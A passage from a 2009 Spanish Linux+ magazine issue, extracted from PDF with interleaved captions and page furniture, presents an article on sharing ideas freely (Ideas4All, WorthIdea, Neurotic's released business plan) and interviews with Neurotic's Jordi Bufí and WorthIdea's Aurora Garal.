más allá de los contenidos en si mismos, llevando la idea de la libertad al
intangible mundo de las ideas.
80
E
n este artículo hablaremos de algunas iniciativas en esta línea que le dan una interesante
vuelta de tuerca al mundo del Conocimiento
Libre. En este mismo número, se publica una
entrevista a Aurora Garal (CEO de WorthIdea) y a Jordi
Bufí (cofundador de Neurotic) que ahondan en los contenidos de este artículo.
El término idea procede del griego ƒÂέƒ, de eidon,
que significa yo vi, en referencia a la imagen conceptual
que tenemos sobre las cosas en nuestra mente. Las ideas se
asocian con la mente humana, al ser los humanos a los que
se les otorga el raciocinio, la capacidad de razonar sobre su
entorno, de reflexionar sobre lo que ha ocurrido y lo que
ocurre, generando una visión mental de su entorno que es
lo que nos permite tomar decisiones y juzgar las acciones
de los demás y la realidad en si misma. Así pues, las ideas
se asocian a las capacidades de raciocinio, autorreflexión,
creatividad, adquirir conocimiento, aplicarlo, etc. El mundo de las ideas da origen al mundo de los conceptos, la base
del conocimiento que aplicamos a diario, tanto dentro del
mundo científico, del mundo filosófico, o incluso dentro de
nuestro día a día.
Linux+ 5/2009
Este artículo es Libre
El texto de este artículo está licenciado bajo Creative Commons Atribución. Las fotografías están licenciadas bajo diversas licencias Creative Commons,
que se pueden consultar en los encabezados de las
mismas. La editorial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar,
en su Web, los contenidos de esta sección regular,
dos meses después de aparecer su versión física en
los kioscos.
En Filosofía, el término idea ha sido utilizado con una
gran variedad de significados. La visión de que las ideas
existen en un plano separado de la realidad, o como algo
paralelo a la vida real, se conoce como “ideas innatas”.
Otras vistas sostienen que solamente somos capaces de
descubrir ideas de la misma forma que descubrimos el
mundo real, a partir de las experiencias personales. Gran
parte de la ambigüedad del término en estos aspectos se
debe al hecho de que se utiliza tanto para la representa-
conocimiento libre
Liberando Ideas
ción de la percepción (algo más cercano a lo
real), como para la conceptualización de los
pensamientos (algo más etéreo), generando
una gran controversia de ideas concretas
contra ideas abstractas”, así como “ideas
simples contra ideas complejas.
Más allá de lo filosófico, basta ver que
los humanos utilizamos las ideas para representar todo aquello que vemos, con lo
que nos relacionamos, o incluso aquello que
utilizamos como solución a nuestros problemas. Manejamos ideas de forma innata a toda hora, algunas de las cuales mantienen una
relación directa con la realidad por ser representaciones conceptuales de cosas concretas
o personas, y otras más abstractas relacionadas con nuestros procesos de pensamiento
y razonamiento.
También a diario generamos ideas relacionadas con los procesos necesarios para
resolver algunos de nuestros problemas, tanto en el trabajo como en el aspecto personal, algunas de las cuales podemos aplicar,
y algunas otras no son aplicables, aunque
el manejarlas nos permite validar hipótesis
que, en cualquier caso, resultan imprescindibles para poder abordar una gran variedad
de cuestiones.
Las ideas son clave en nuestro día a día,
y aún así en muchos casos somos reacios
a compartirlas. ¿Por qué? Compartimos cosas
bastante más elaboradas, como son los
contenidos, que en muchos casos son una
materialización elaborada de las ideas originales. Entonces, ¿por qué no compartir Figura 1. Al ser intangibles resulta complicado representar en imágenes una idea. Tradicionalmente se han
la materia base sin elaborar, las ideas en si utilizado las bombillas para representar el hecho de tener una idea. Fotografía licenciada bajo CC-by-nc por
mismas?
Cayusa (http://flickr.com/photos/cayusa/)
La validez y el valor
de las Ideas
Uno de los problemas asociados a las ideas es
el estudiar su validez. Generamos millones de
ideas a lo largo de nuestra vida, aunque una
gran mayoría de ellas no son válidas ni nos
sirven para nada concreto, quedándose en el
limbo de lo etéreo. Para que una idea tenga un
valor en si misma, ha de ser una idea válida,
pero determinar la validez de una idea en si
misma no es algo sencillo de por sí. Cualquier
cadena de razonamiento (sentido común) que
intente demostrar la validez o falsedad de
una idea, ha de utilizar conceptos, y por tanto
ideas, en su propio recorrido. Así pues, para
compartir ese razonamiento, hay que creer en
la validez de todas las ideas empleadas como
premisas de los argumentos, lo cual nos lleva a una espiral de razonamiento que no tiene Figura 2. Al tratarse de entidades abstractas, muchas veces manejamos representaciones más físicas para
fin.
representar ideas, expresarlas, o al menos razonar sobre ellas, como pueden ser los diagramas o algunos
Tanto matemáticos, como astrónomos, fí-
www.lpmagazine.org
81
conocimiento libre
Liberando Ideas
sicos, y demás científicos, aseguran que sus
proposiciones universales son ciertas y tratan con la realidad. Dentro de la ciencia, se
entiende que las leyes físicas formuladas por
la mente tratan de reflejar el universo exterior,
por lo que los términos y las ideas en esas
ciencias tienen correlaciones perfectas en la
naturaleza y toman la esencia de los objetos
con las que tratan. Sin embargo, todo lo que
proponen no deja de ser nada más que un
sistema consistente de proposiciones perfectamente alineadas con nuestra realidad. ¿Esto
quiere decir que nada de lo que conocemos
hasta la fecha es falso? En absoluto, puede
Figura 3. Cualquier proceso de razonamiento se fundamenta en la utilización de las ideas, por lo que razonar sobre las propias ideas no genera resultados a gusto de todos. Fotografía licenciada bajo CC-by-sa por
Gutter (http://www.flickr.com/photos/somemixedstuff/)
que algunas ideas que tratemos como reales
acaben siendo falsas, pero eso no nos ha de
preocupar, ya que cuando encontremos alguna idea que represente mejor nuestra realidad
desplazará a la anterior sin mayor problema. Necesitamos manejar estas ideas para
comprender la realidad y para postular posibilidades, y aunque nos equivoquemos en el
proceso, nos resulta de vital importancia para
poder seguir progresando.
En un ámbito más terrenal, y suponiendo
que nuestras ideas tengan validez, ¿cuánto
valen nuestras ideas? ¿Tienen valor alguno
o no valen absolutamente nada? Existe una
gran variedad de respuestas a estas preguntas,
sobre todo dependiendo de con quien trates
y en qué ámbito nos movamos. Dentro de un
plano científico, las buenas ideas son vitales,
ya que son las que permiten seguir investigando e ir descubriendo más acerca de nuestra realidad. En otros ámbitos, parece que las ideas
tienen un menor valor. Por ejemplo, dentro
del mundo del emprendizaje y las inversiones,
es muy común oír a los inversores decir que
las ideas o no valen nada, o al menos que las
ideas valen muy poco, en referencia a que las
ideas se generan a toda hora, pero lo complejo
es llevarlas adelante. Esto parece tener cierto
sentido, ya que aunque ideas como la fusión
fría pueden parecer tener un valor incalculable, lo que realmente lleva al éxito, o tiene
un valor tangible es el hecho de desarrollar la
idea y ofrecer soluciones que la implementen.
Aún así, tampoco debemos irnos al extremo,
ya que las ideas tampoco es que no valgan
nada. Las ideas tienen valor desde el punto
de vista de poder ser utilizadas para resolver
nuestros problemas, o los problemas de otros.
También sirven para conocer lo que piensan
los demás, para conocer sus necesidades.
A este respecto, hace relativamente poco
tiempo se inició una recogida de ideas por
parte de la Unión Europea (http://www.consultas-europeas-a-la-ciudadania.eu/)
que
trata de estudiar cuáles son los problemas
que más les preocupan a los ciudadanos para
tratarlos con mayor detenimiento.
A lo largo del resto del artículo, veremos algunos casos de éxito de compartición
y liberación de ideas, como son los proyectos
Ideas4All y WorthIdea, y la inusual pero excelente iniciativa de liberar un plan de negocio por parte de la gente de Neurotic.
Ideas4All
Figura 4. La ciencia maneja ideas que tratan de modelar la realidad. En esta imagen, una célula
cerebral cristalizada que, al ser analizada, da lugar a multitud de ideas que tratan de explicar su funcionamiento. Fotografía licenciada bajo CC-by-nc-nd por PhOtOnQuAnTiQuE (http://www.flickr.com/pho-
82
Linux+ 5/2009
Tal y como comenta el propio equipo de Ideas4All (http://www.ideas4all.com), ideas4all es
el sitio donde las personas con ideas pueden
compartirlas; pueden cambiar la vida de al-
conocimiento libre
Liberando Ideas
guien o incluso cambiar el mundo. Es el sitio
donde las personas que necesitan una solución
pueden encontrarla. También es el sitio donde
las personas pueden ver ideas nuevas, navegar
en busca de soluciones y divertirse. Resumiendo, ideas4all trata de la conectividad. Imagina
millones de ideas, todas ellas dando vueltas en
un Global Brain, todas ellas interconectadas
y trabajando juntas. Es fabuloso, y es inteligente. De todos, para todos. Cada persona tiene
ideas que merecen ser compartidas. Cualquier
idea puede generar ideas nuevas. Así es como
el 'Global Brain' funciona.
Ideas4All promueve la compartición de
ideas por parte de los usuarios, con un enfoque muy cercano al del Software Libre. En
Ideas4All las ideas “se regalan” al mundo
con el objetivo de cambiar la vida de otras
personas, de compartir experiencias, o me-
jorar tu Comunidad. En Ideas4All las ideas
se pueden licenciar de dos formas distintas,
bajo Creative Commons Atribución 2.5, de
forma que cada cual se reserva la autoría de
sus ideas, pero cede el resto de derechos,
o bien mediante la licencia Ideas4All bajo
la cual se retiene el copyright de las ideas
pero se cede el derecho de exponer las ideas
en la Web.
Las ideas, después de ser compartidas,
son analizadas y valoradas por la Comunidad, de forma que las ideas con mayor
impacto ocupan las primeras posiciones del
ranking de ideas. Las ideas también se pueden comentar, lo cual genera interesantes
discusiones sobre los temas más dispares.
Además de compartir ideas, en Ideas4All
se pueden compartir problemas, para que
otros miembros de la Comunidad aporten
Figura 5. Captura de la web de Ideas4All, donde se pueden ver las ideas que comparten los usuarios, así
como los votos que otros realizan sobre las mismas
Figura 6. Esquema del funcionamiento de WorthIdea extraído de su web
www.lpmagazine.org
soluciones a los mismos. Estos problemas
pueden tener tanto un alcance local como
un alcance global, permitiendo la comunicación y la compartición de opiniones a múltiples niveles.
WorthIdea
WorthIdea (http://www.worthidea.com/) es un
proyecto tan similar como distinto de Ideas4All. Similar porque su objetivo también reside en la compartición de ideas por parte de
los usuarios, pero distinto en el planteamiento
de fondo. Ideas4All tiene quizás un objetivo
más altruista, el construir una base de datos
de ideas de interés global, un Global Brain
colectivo. Sin embargo, WorthIdea tiene un
punto de vista más pragmático, como un nexo
conductor entre distintos agentes, tratando de
que los usuarios trasladen sus ideas a otros
agentes (por ejemplo empresas) que puedan
implementar esas ideas para mejorar productos y ofrecer un mejor servicio. Esto no quiere
decir que en WorthIdea no se puedan compartir ideas de todo tipo, todo lo contrario, pero
sí se nota un sesgo más práctico y orientado
hacia este tipo de ideas.
Hace poco tiempo, Aurora Garal (CEO de
WorthIdea), publicaba un interesante artículo
en Loogic (http://loogic.com/innovacionabierta-entre-personas-y-empresas/), un excelente blog de negocios, acerca de la innovación abierta entre personas y empresas, en el
que comentaba: los avances en las tecnologías de la información están acelerando uno
de los fenómenos que más va a revolucionar
el status quo de la sociedad. Nos referimos
a la innovación abierta, la innovación que
rompe las fronteras de la organización para
dejar que el potencial externo pueda acceder para añadir valor. Aunque este movimiento aún no ha explotado, llevamos varios
años viendo muchas compañías sacándole
partido.
Otra de las diferencias fundamentales de
WorthIdea con respecto a Ideas4All es que,
además de servir como una base de datos
de ideas y, con ello, de conocimiento, WorthIdea también tiene una cierta vertiente de
“comercio electrónico” de ideas, ya que en
WorthIdeas se pueden vender y comprar las
ideas, una forma de promover la generación
de ideas con valor añadido que puedan servir
como uno de los ejes innovadores de muchas
empresas.
WorthIdea es un proyecto joven pero de
gran valor, y tal y como nos comenta la propia
Aurora Garal en la entrevista que aparece en
este mismo número, actualmente nos encontramos inmersos en un desarrollo bastante
83
conocimiento libre
Liberando Ideas
innovador y cerrando acuerdos con diferentes
empresas, para lanzar una versión mucho más
ambiciosa de WorthIdea, donde cada uno de
nosotros podemos ser los protagonistas y tendremos voz y voto directo con las empresas que
participen.
Un Plan de Negocio Libre
En septiembre de 2008 descubrí el blog de
Jordi Bufí, cofundador de Neurotic (http://
www.neuroticweb.com/), una empresa especializada en consultoría de Drupal y desarrollos web. El descubrimiento de este blog
vino de la mano de la repercusión que tuvo en
la web, especialmente entre blogs y medios
relacionados con emprendedores e inversores
de Internet, de la liberación de un plan de empresa de una Red Social Inteligente (http://
jordi.bufi.es/hemos-publicado-un-plan-deempresa).
Elaborar un plan de empresa es un proceso largo y duro, ya que se desarrolla un documento que suele superar con creces las 100
páginas (138 en el caso del plan liberado por
Jordi Bufí y Carlos Rincón), donde se detallan
tanto conceptos técnicos como financieros,
analizando el mercado potencial, la competencia, y un sinfín de aspectos que requieren
de conocimientos y tiempo. Así pues, conociendo el esfuerzo que conlleva desarrollar
un plan de empresa, me pareció una decisión
muy valiente la de liberar el documento para
que otros pudieran aprovechar su experiencia,
conocimientos, idea y trabajo, para desarro-
llar por su cuenta el proyecto.
En su día Jordi hacía un planteamiento
muy acertado con respecto a la liberación de
este plan de empresa en su blog: La cuestión
es, tal y como se ha estado debatiendo en los
comentarios ¿hemos cometido un error por nuestra parte o más bien es un acierto? Nosotros
creemos que publicar el plan de empresa tiene
más ventajas que desventajas, sino obviamente no lo habríamos hecho.
Entre los pros de liberar el plan de empresa,
Jordi enumeraba:
Sobre el autor
José Carlos Cortizo Pérez es Ingeniero
Superior en Informática y, actualmente,
doctorando en el programa de Ciencias
de la Computación de la Universidad
Carlos III de Madrid. Tras una dilatada
experiencia como consultor, actualmente
compagina sus labores como CTO en
AINetSolutions y Wipley, con labores docentes y de investigación en la Universidad Europea de Madrid. Su bitácora personal se encuentra en http://josekblog.
blogspot.com.
Por otra parte, José Carlos es miembro de GLUEM (Grupo de Usuarios de
Linux y Software Libre de la Universidad
Europea de Madrid, http://www.gluem.
org), organización muy activa que, de
forma anual, organiza las Jornadas de
Informática de la UEM (en otoño) y las
Jornadas de Conocimiento Libre (en primavera).
• Alguna gente conocerá el plan de empresa y, por tanto, nos conocerá a nosotros
(o nos conocerá mejor si ya sabía que
existíamos),
• La gente que lo lea nos puede indicar
qué cambiaría en el plan de empresa, así
podríamos mejorarlo o tenerlo en cuenta
de cara a otro proyecto,
• Ayudamos a emprendedores (sobre todo
los que empiezan y/o tienen un perfil
más técnico, como nosotros),
• Alguien puede ver el plan de empresa,
encontrarlo interesante y decidir finan- el hecho de estar tan cerca del Software Libre
ciarlo.
(Drupal es Software Libre, y también imparten cursos y charlas relacionadas con el tema
Y a pesar de los pros, la decisión de liberar el en Universidades) les ayudó a tomar esta dedocumento, la idea, puede resultar complica- cisión que, como poco, les ha reportado conda de tomar, ya que significa prácticamente tactos y visibilidad. En este mismo número
regalar todo ese esfuerzo para que alguien se entrevistamos a Jordi Bufí, quien nos aporta
pueda beneficiar de la idea y sacar el proyec- más datos e información sobre esta decisión
to adelante sin contar con ellos. Imagino que y sobre el plan de empresa en sí.
Conclusión
Figura 7. La entrada del blog de Jordi Bufi donde comentaba la liberación de su plan de empresa
84
Linux+ 5/2009
Resulta curioso que, de pequeños, nos explican lo importante que es compartir, pero que
a lo largo de nuestra vida vayamos perdiendo
esa costumbre. El trabajo, la competitividad,
y otros intereses que no tocaremos en este
artículo, nos llevan a ir compartiendo cada
día menos. Por suerte, el Software Libre ha
abierto muchas puertas en torno a la compartición de contenidos y oportunidades, y se ha
transportado a otros entornos, facilitando el
que surjan iniciativas que traten acerca de
compartir multitud de cosas, tanto contenidos, como incluso ideas, tal y como hemos
visto en este artículo. Desde mi punto de vista, no puedo hacer más que dar la enhorabuena tanto a la gente de Ideas4All, WorthIdea
y Neurotic por haber dado una vuelta de tuerca al mundo del conocimiento libre, posibilitando la compartición de ideas y la apertura
a nuevas posibilidades que hasta hace poco
no existían. Y estoy totalmente seguro de que
el futuro nos depara todavía más iniciativas
interesantes en esta línea.
Páginas
recomendadas
www.diariolinux.com
www.elguille.info
www.gatolinux.blogspot.com
www.opensourcespot.org
www.hispabyte.net
www.linuxdata.com.ar
www.linuxhispano.net
www.pillateunlinux.wordpress.com
www.usla.org.ar
www.mundopc.net
www.picandocodigo.net
www.linuxuruguay.org
entrevista
Entrevista a Jordi Bufí
Entrevista
a Jordi Bufí
(co-fundador de Neurotic)
Jordi Bufí es un “informático metido a emprendedor” desde el año 2003,
cuando junto a Carlos Rincón fundó Neurotic, una empresa tecnológica
dedicada a ofrecer soluciones Web y consultoría de Drupal. En
septiembre de 2008, Jordi anunciaba en su blog la liberación bajo licencia
Creative Commons del plan de empresa de un proyecto muy interesante
en el que habían estado trabajando Carlos y él durante bastante tiempo.
En esta entrevista profundizaremos sobre la liberación del plan de
empresa y la relación de Neurotic con el Software Libre.
Jordi Bufí (http://jordi.bufi.es/) es co-fundador de Neurotic (http://www.neuroticweb.com),
una empresa dedicada al desarrollo de soluciones Web y la consultoría de Drupal, así
como una especie de incubadora de proyectos
propios. Gracias a la excelente disposición de
Jordi, hemos podido entrevistarle para que nos
cuente más detalles del plan de empresa que
liberaron, de su relación con el Software Libre
y otros aspectos relacionados con Neurotic
y con el mundo del emprendizaje.
L+: Como bien dices en tu blog, eres un
"informático metido a emprendedor", ya que
eres cofundador de Neurotic. ¿A qué os dedicáis en Neurotic?
Jordi Bufi: En Neurotic nos dedicamos
al desarrollo Web. Estamos especializados en
Drupal y desarrollamos tanto proyectos para
otras empresas como proyectos propios.
L+: ¿Qué tal se lleva la vida de emprendedor?
J.B.: Si haces lo que te gusta todo es mucho
más fácil. De todos modos levantar un proyecto
desde cero nunca es fácil y últimamente las
cosas están peor, sobre todo de cara al acceso
a la financiación privada. Si a esto le sumas
unas ayudas por parte de la administración de
muy difícil acceso y, normalmente, la incom-
86
prensión de tu entorno, nos encontramos ante
un panorama poco alentador. Por eso es prácticamente imprescindible que si te lanzas lo
hagas con algo que te apasione.
A pesar de todo ver crecer tu proyecto es
algo impagable.
L+: Por mucho que se diga en el mundillo
de los emprendedores (bueno, sobre todo por
parte de los inversores), que las ideas "no valen
nada", los emprendedores tienden a preservarlas como sus tesoros. ¿Por qué os decidisteis
a liberar no solamente una idea, sino un plan
de negocio elaborado al que le habéis dedicado mucho tiempo? ¿La decisión fue un proceso
simple u os costó un cierto tiempo llegar a la
conclusión de que merecía la pena liberarlo?
J.B.: Nos encontramos en un punto que
teníamos un buen documento (el plan de empresa de un proyecto) hecho para un propósito
que no se había conseguido (lograr financiación). Antes de dejarlo reposar en nuestro
disco duro para los tiempos de los tiempos
decidimos compartirlo con la comunidad de
emprendedores.
Fue un proceso muy natural. Pensé que
pese a las limitaciones del plan de empresa
(tuvimos que hacerlo siguiendo un modelo
muy rígido) podría ayudar a mucha gente que
se planta por primera vez ante la necesidad
Linux+ 5/2009
de crear uno. Entonces le pregunté a mi socio
(Carlos) qué le parecía la idea de compartirlo
y estuvo de acuerdo.
Aprovecho la ocasión para comentar que
Carlos es el gran olvidado. Si bien fui yo quien
publicó el documento en mi blog personal, sin
su colaboración y aprobación no hubiera sido
posible la creación del mismo ni su posterior
liberación.
L+: Desde tu punto de vista, ¿realmente
las ideas "no valen nada" como dicen muchos
inversores?
J.B.: Mi punto de vista sobre las ideas
ha ido cambiando. Si bien es cierto que al
principio era bastante celoso de las ideas con
el tiempo me he relajado bastante en este aspecto.
Pienso que habiendo tanta gente en el
mundo es normal que alguien haya tenido la
misma idea que tú. Si además la idea es buena
lo más seguro es que además ya la haya desarrollado.
Creo que lo que marca la diferencia es el
"conjunto de pequeñas ideas" y la estrategia
que sigues en la ejecución del proyecto así como la calidad de desarrollo del mismo.
L+: ¿Podrías resumirnos la idea que planteáis en el plan de empresa, como si fuera una
especie de "elevator pitch"?
entrevista
Entrevista a Jordi Bufí
J.B.: Nuestra idea era montar una "red
social inteligente" que aunara la inteligencia artificial con la inteligencia colectiva para reunir
en una sola página Web toda la información que
hay disponible en Internet sobre todo lo relacionado con viajes debidamente categorizado.
L+: La publicación de la versión liberada
de vuestro plan de empresa tuvo muy buena
acogida, de hecho en el post de tu blog (http://
jordi.bufi.es/) en el que enlazabas el plan de empresa y comentabas los detalles acerca de su liberación recibió muchos comentarios. Más allá
de comentarios positivos, ¿el haber liberado el
plan de empresa os ha aportado algo o abierto
alguna puerta?
J.B.: La ventaja más importante pero
menos medible ha sido la repercusión que ha
tenido la propia liberación en Internet; gracias
a esto ahora más gente conoce Neurotic. Además las críticas recibidas son muy útiles, no sólo para elaborar nuevos planes de empresa sino
en general para encarar futuros proyectos.
L+: Además de sacar adelante todos los
proyectos que hacéis en Neurotic, co-organizas
el Iniciador de Barcelona, un encuentro de emprendedores para emprendedores que también
se organiza en Madrid. ¿Qué le puede aportar
este tipo de eventos a alguien que quiera sacar
una idea adelante? ¿Y por qué te decidiste a coorganizar el evento?
J.B.: Iniciador es el lugar ideal para relacionarse con gente que se encuentra en la
misma situación que tú, cosa que ayuda a superar "la soledad del emprendedor". Además de
conocer la experiencia de otros emprendedores
es un buen sitio para encontrar colaboradores:
desde clientes a proveedores pasando, porque
no, por futuros socios.
La decisión de co-organizar el evento la
tomé a raíz de una petición de Jordi Pérez (el
responsable de traer Iniciador a Barcelona). Hacía relativamente poco que Carlos y yo habíamos decidido "romper el cascarón" y empezar
a participar en eventos de networking. Dadas
nuestras pocas habilidades de comunicación
ví la posibilidad de organizar Iniciador como
una excelente posibilidad para mejorar en este
aspecto. Digamos que ha sido la mejor terapia
de choque para dos frikis asociales como nosotros.
L+: ¿Qué consejos le darías a aquellos
que, en la actualidad, tengan intención de
llevar algún proyecto propio adelante? ¿Mejor
esperar a que pase la crisis o ponerse a trabajar desde ya?
J.B.: Este es un asunto parecido al de tener
un hijo. Si esperas el mejor momento lo más
seguro es que te quedes sin descendencia.
Es difícil dar un consejo general sin tener
en cuenta la situación laboral de cada uno y las
responsabilidades que tiene uno encima. Seguramente no sea el mejor momento para dejar un
trabajo estable si la mayoría de los ingresos familiares provienen de él, pero creo que es muy
importante empezar cuando antes a la mínima
que puedas permitírtelo. Son tiempos difíciles
pero si consigues montar una empresa rentable
en esta situación que estamos viviendo serás
capaz de todo cuando el panorama económico
vuelva a la normalidad.
En este sentido recomiendo leer "El Libro
Negro del Emprendedor" de Fernando Trías de
Bes. Si después de leerlo no se te han quitado
las ganas de empezar seguramente sea tu momento.
L+: En Neurotic estáis muy cerca del Software Libre, una de vuestras líneas de negocio es
la consultoría de Drupal, y también habéis dado
algunas charlas/cursos en Jornadas relacionadas con el Software Libre. ¿Cuál es tu visión del
Figura 1. Esta es la web de Neurotic (http://www.neuroticweb.com), donde se pueden ver sus proyectos, su
equipo y todo lo que rodea a la propia empresa
www.lpmagazine.org
Este artículo es Libre
El texto de este artículo está licenciado bajo Creative Commons Atribución. La editorial ha tenido a bien el comprometerse con
la causa del conocimiento libre y liberar, en
su Web, los contenidos de esta sección
regular, dos meses después de aparecer
su versión física en los kioscos.
Software Libre con respecto a los negocios? ¿Abre
más puertas trabajar con Software Libre?
J.B.: En Neurotic prácticamente la totalidad de los programas que usamos pertenecen
a Software Libre y nos gusta animar al resto de
empresas a que, al menos, lo prueben. Sí que
es cierto que puedes necesitar usar software
privativo para algún tema muy concreto pero
la mayoría de necesidades están cubiertas con
el amplio espectro de soluciones libres que hay
disponibles hoy en día.
Trabajar con Software Libre abarata los
costes de los proyectos ya que por norma general te ahorras el pago de licencias. Esto no es
lo más importante pero normalmente es lo que
más llama la atención a los clientes.
Además, teniendo en cuenta que tienes
una comunidad de desarrolladores mejorando
la herramienta día a día acabas trabajando con
un software más seguro y más funcional que las
alternativas no libres.
Entrando en el terreno puro de desarrollo
también se debe valorar que al trabajar con
software libre es mucho más fácil que cualquier
otra empresa asuma el desarrollo del proyecto
en fases posteriores en el caso que sea necesario.
L+: ¿Cuál es vuestro proyecto más destacado dentro de Neurotic?
J.B.: Marujeo.com es nuestro proyecto más
mediático y que más repercusión está teniendo.
Una mezcla de la temática (prensa del corazón)
y una Blogger muy gamberra (Bea) ha provocado que hayamos salido en revistas, periódicos
y televisión por diferentes motivos.
De hecho en estos momentos estamos
desarrollando WTF (Walking Towards the Future), una versión modificada del proyecto que
publicamos en el plan de empresa. Dada la situación actual creemos más importante mejorar
los proyectos que ya tenemos en marcha en vez
de lanzar al mercado nuevos proyectos. Por eso
aprovecharemos WTF para aplicarlo primero
a marujeo.com y después al resto de proyectos
que tenemos.
La entrevista ha sido realizada por nuestro
colaborador José Carlos Cortizo Pérez.
87
entrevista
Entrevista a Aurora Garal
Entrevista
a Aurora Garal
(co-fundadora y CEO
de WorthIdea)
WorthIdea es una plataforma global que permite a las personas
comunicar todas las ideas originales que tengan, generando interesantes
conversaciones entre distintas personas y agentes, o incluso obteniendo
remuneración económica por las ideas que realmente aportan valor. En
este número entrevistamos a Aurora Garal, co-fundadora y actual CEO
del proyecto.
Aurora Garal es la co-fundadora y actual CEO
de WorthIdea (http://www.worthidea.com), una
excelente iniciativa que promueve la compartición de ideas a través de una plataforma web.
Aurora nos ha hecho un hueco en su ajetreada
agenda para responder a algunas de nuestras
preguntas sobre su proyecto, y sobre la compartición de ideas.
Linux+: Aurora, ¿cómo describirías WorthIdea en pocas palabras?
Aurora Garal: WorthIdea es una plataforma donde las empresas van a poder acelerar y orientar sus procesos de innovación
mediante la colaboración con sus clientes o potenciales consumidores.
L+: ¿Cómo se te ocurrió llevar adelante
un proyecto como WorthIdea?
A.G.: La verdad es que siempre había tenido claro que quería montar un negocio propio,
ser emprendedora. Tenía muchas ideas pero
muchas de ellas requerían una inversión y unos
conocimientos de los que yo carecía. Me parecía
un desperdicio no hacer nada con ellas y busqué
un canal para poder hacérselas llegar a las empresas, que ya estaban en el negocio, y que
con una mínima inversión les podían suponer
unos beneficios importantes. Pero ese canal no
existía, salvo los típicos buzones de sugerencias
88
que nunca harían llegar mi idea a las capas de
decisión. Así que maduré la idea, ví que todos
teníamos necesidades que el mercado no nos
satisfacía, que se nos ocurrían muchos y originales productos y servicios que compraríamos
si alguien nos lo ofreciera y por eso decidí hacer
una plataforma donde todos pudiéramos decir
a las empresas aquellos productos y servicios
que nos gustaría que nos ofrecieran. Todas las
empresas innovan, sacan al mercado nuevos
productos, pero ¿y si esos productos te los
hubieran dicho previamente tus clientes? Y así
surgió WorthIdea.
L+: A día de hoy, ¿ha habido casos de
éxito en WorthIdea? Es decir, ¿conoces alguna empresa o persona que haya desarrollado
alguna idea compartida en WorthIdea?
A.G.: Aunque es complicado saber cuáles
de las ideas de la comunidad de WorthIdea se
han llevado a cabo, sí que hemos recibido correos de algunos emprendedores indicándonos
ideas que habían hecho realidad. Por otro lado,
también hemos visto ideas que se han llevado
a cabo por empresas importantes, aunque su
origen en WorthIdea no está confirmado en
la mayor parte de los casos. Una de ellas por
ejemplo, fue una idea en la que se sugería el
pago mensual para las pólizas de seguros de
coches en lugar del típico anual. Cuatro meses
Linux+ 5/2009
después de su publicación en WorthIdea, Línea
Directa sacó ese servicio para sus clientes.
L+: ¿Existe alguna forma de que los usuarios protejan sus ideas en WorthIdea? ¿Utilizáis algún sistema de licencias (por ejemplo Creative Commons o Color Iuris) o tenéis
pensado utilizarlo?
A.G.: Cuando un usuario introduce una
idea en WorthIdea, su principal motivación es
que una empresa la haga realidad y le ofrezca
ese servicio o producto ideado. Por este motivo quizás no tenga mucho sentido lo de “proteger” la idea, puesto que lo que pretendes es
que alguien la coja y la desarrolle. En cualquier caso, y aunque se definieran licencias
sobre ellas, sería muy complicado protegerlas legalmente si no existe una patente de por
medio. Yo siempre digo lo mismo, si tienes
una idea que quieras y puedas hacer tú realidad,
no la introduzcas en WorthIdea. En WorthIdea podemos y debemos dejar todas aquellas
ideas que nos interesan como productos, pero
que no nos vemos capaces de sacar adelante
con nuestros medios.
L+: En WorthIdea se comparten ideas
para todos los gustos y de todos los colores,
sin embargo, ¿existe alguna categoría de
ideas predominante? ¿Tenéis algún tipo de
estadística mostrando las áreas más activas?
entrevista
Entrevista a Aurora Garal
Este artículo es Libre
El texto de este artículo está licenciado bajo Creative Commons Atribución. La editorial ha tenido a bien el comprometerse con
la causa del conocimiento libre y liberar, en
su Web, los contenidos de esta sección
regular, dos meses después de aparecer
su versión física en los kioscos.
Figura 1. Así se ve el sitio web de WorthIdea, donde todos vosotros podéis compartir vuestras ideas
A.G.: Tal y como dices, las hay de todos
los tipos imaginables, aunque sí que se puede
decir que actualmente casi la mitad de las ideas
están relacionadas de alguna forma con la tecnología ya sea del sector de telefonía móvil, de
negocios de Internet o cualquier tipo de maquinaria o invento. Actualmente, esta información
de áreas más activas no se están mostrando en
la web aunque en los próximos desarrollos sí
que se tiene pensado el poder hacer una nube
de tags o sistema similar que permita tener este
conocimiento de una forma sencilla y rápida.
L+: Además de ser una excelente iniciativa, WorthIdea también es una web donde
los usuarios pueden interactuar, lo que implica
unos costes de desarrollo, mantenimiento, etc.
¿Fue fácil conseguir la financiación para
llevar adelante WorthIdea? ¿Tenéis planes de
seguir creciendo a corto/medio plazo?
A.G.: La puesta en marcha de WorthIdea
se realizó exclusivamente con las aportaciones que hicimos los dos socios fundadores.
Actualmente nos encontramos inmersos en un
desarrollo bastante innovador y cerrando acuerdos con diferentes empresas, para lanzar una
versión mucho más ambiciosa de WorthIdea,
donde cada uno de nosotros podemos ser los
protagonistas y tendremos voz y voto directo
con las empresas que participen.
L+: Tal y como comentas, decidiste ser
emprendedora y comenzar un camino ilusionante pero también muy duro. ¿Animas a otras
personas que tengan ideas que les ilusionen
a montar su propia empresa o sacar sus proyectos adelante? ¿Cuáles han sido tus mayores satisfacciones a lo largo del camino?
A.G.: Sin duda alguna. Antes de ser emprendedora, trabajé durante años en una consultora multinacional y allí la verdad que estuve
inmersa en importantes proyectos que me dieron muchas satisfacciones profesionales. Pero
nada de todo aquello se puede comparar a lo
que sientes cuando trabajas en tu propio proyecto, para tu propia empresa. Es cierto que hay
momentos de incertidumbre, dejas a un lado la
seguridad y asumes riesgos, pero soy de las que
piensa que si no arriesgas no ganas, y aunque
solo sea por la experiencia creo que de sobra
merece la pena intentarlo. Sin embargo es muy
difícil elegir la mayor satisfacción... creo que la
mayor satisfacción es el conjunto en sí, el ver
como piedra a piedra se va construyendo algo
que tiene sentido. En el camino las pequeñas
piedrecitas que vas consiguiendo te satisfacen
e ilusionan, pero ver el conjunto es la mayor
satisfacción. Y aún hay más, porque sólo con
pensar que esto no ha hecho más que comenzar
como aquel que dice y que quedan muchas
piedras por poner, te ilusionas más todavía.
L+: Entre los inversores es muy habitual
oír frases del tipo "la idea no vale nada";
imagino que tu opinión será muy distinta. ¿Qué
les dirías tú a los que restan valor a las ideas?
A.G.: Todos los inversores dicen lo mismo, y algo deben saber, ¿no? Yo creo que para
alguien que ve muchos proyectos todos los
días basados en buenas ideas, es normal que
reste importancia a lo que ve que hay mucho
y se centre más en lo que echa en falta, que es
un buen equipo promotor. Yo comparto totalmente la premisa de que si no hay un equipo
